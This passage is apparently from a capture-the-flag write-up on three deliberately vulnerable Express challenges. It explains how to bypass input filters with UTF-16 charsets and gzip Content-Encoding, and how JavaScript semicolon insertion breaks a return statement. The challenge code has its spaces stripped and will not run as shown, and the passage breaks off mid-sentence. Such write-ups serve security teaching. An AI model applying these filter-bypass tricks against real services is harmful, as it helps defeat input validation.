constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5004constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.use(express.text({verify:(req,res,body)=>{constmagic=Buffer.from('ShowMeTheFlag')if(body.includes(magic)){thrownewError("Go away.")}}}))app.post('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if((typeofreq.body)!=='string'){res.end("What?")return}if(req.body.includes('ShowMeTheFlag')){res.end(FLAG)return}res.end("Say the magic phrase!")})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 4\n\n")res.end(SOURCE)})app.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
Looking at the verify function, we see that there is a body.includes(magic) check that we need to satisfy, and req.body.includes('ShowMeTheFlag') must return true in the /flag endpoint POST handler.
According to Express’ documentation for express.text(), we see that the verify option is invoked as verify(req, res, buf, encoding), where buf is a Buffer of the raw request body and encoding is the encoding of the request.
This means that the body parameter in the verify function has yet to be decoded from the encoding type specified by the client.
Notice that the body.includes(magic) in the verify function implicitly assumes that the request body contents supplied is in ASCII/UTF-8, as it fails to decode and convert the raw request to a common encoding before performing the check.
Solution
The solution is simple – use a different charset that uses multibyte characters, e.g. utf-16, utf-16le, utf-16be, and encode the constant string ShowMeTheFlag in the charset specified:
consthttp=require('http')constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5005constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()app.use(express.urlencoded({extended:false}))app.post('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if(req.body.secret!=='ShowMeTheFlag'){res.end("Say the magic phrase!")return}if(req.youAreBanned){res.end("How about no.")return}res.end(FLAG)})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 5\n\n")res.end(SOURCE)})constproxy=function(req,res){req.youAreBanned=falseletbody=''req.prependListener('data',(data)=>{body+=data}).prependListener('end',()=>{consto=newURLSearchParams(body)req.youAreBanned=o.toString().includes("ShowMeTheFlag")})returnapp(req,res)}constserver=http.createServer(proxy)server.listen(PORT,()=>{console.log(`Challenge listening at port ${PORT}`)})
Analysis
We can observe that the code above is similar to that of Level 4, with some changes.
The first change is the use of app.use(express.urlencoded({extended: false})) instead of app.use(express.text(...).
The second change is the use of http.createServer(proxy) to intercept the raw request body data before passing to Express instead of using the verify option.
Similar to Level 4, req.youAreBanned = o.toString().includes("ShowMeTheFlag") assumes the charset encoding of the request body when performing the check.
This is because express.urlencoded (urlencoded in body-parser) asserts if the charset encoding for Content-Type: application/x-www-form-urlencoded is utf-8.
So, it is not possible to specify any other charset encoding.
Solution
Speaking of encoding, there’s one more thing we have yet to try – Content-Encoding.
Recall that the raw request body data is being not decoded before being checked in proxy(). This means that we can encode the contents, e.g. using gzip compression, and specify Content-Encoding: gzip header, and the gzip-compressed contents will be used in the proxy() function (which passes the first check).
Then, the body will decoded by Express before passing to the /flag endpoint POST handler, which correctly sets secret=ShowMeTheFlag:
consthttp=require('http')constexpress=require('express')constfs=require('fs')constpath=require('path')constPORT=5006constFLAG=process.env.FLAG||"???"constSOURCE=fs.readFileSync(path.basename(__filename))constapp=express()constcheckSecret=(secret)=>{return[secret.split("").reverse().join(""),"xor",secret.split("").join("-")].join('+')}app.get('/flag',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')if(!req.query.secret1||!req.query.secret2){res.end("You are not even trying.")return}if(`<${checkSecret(req.query.secret1)}>`===req.query.secret2){res.end(FLAG)return}res.end("Lul no.")})app.get('/',(req,res)=>{res.statusCode=200res.setHeader('Content-Type','text/plain;charset=utf-8')res.write("Level 6\n\n")res.end(SOURCE)})app.listen(PORT,()=>{console.log(`Example app listening at port ${PORT}`)})
Analysis
Notice that checkSecret has a return keyword on line 13, but the value that was supposed to be returned is on the following lines.
This is a common mistake made when coding in JavaScript. In JavaScript, automatic semicolon insertion (ASI) is performed on some statements, such as return, that must be terminated with semicolons.
As such, a semicolon is automatically inserted after the return keyword and before the newline as such:
constcheckSecret=(secret)=>{return;// ASI performed here; below lines are ignored[secret.split("").reverse().join(""),"xor",secret.split("").join("-")].join('+')}
This means that effectively, undefined is being returned by the checkSecret arrow function expression.
Solution
To pass the checks, we simply set secret1 query string parameter to a non-empty value, and secret2 to <undefined>:
, so let’s pause for a minute and take a quick look at our progress into the challenge thus far before continuing on:
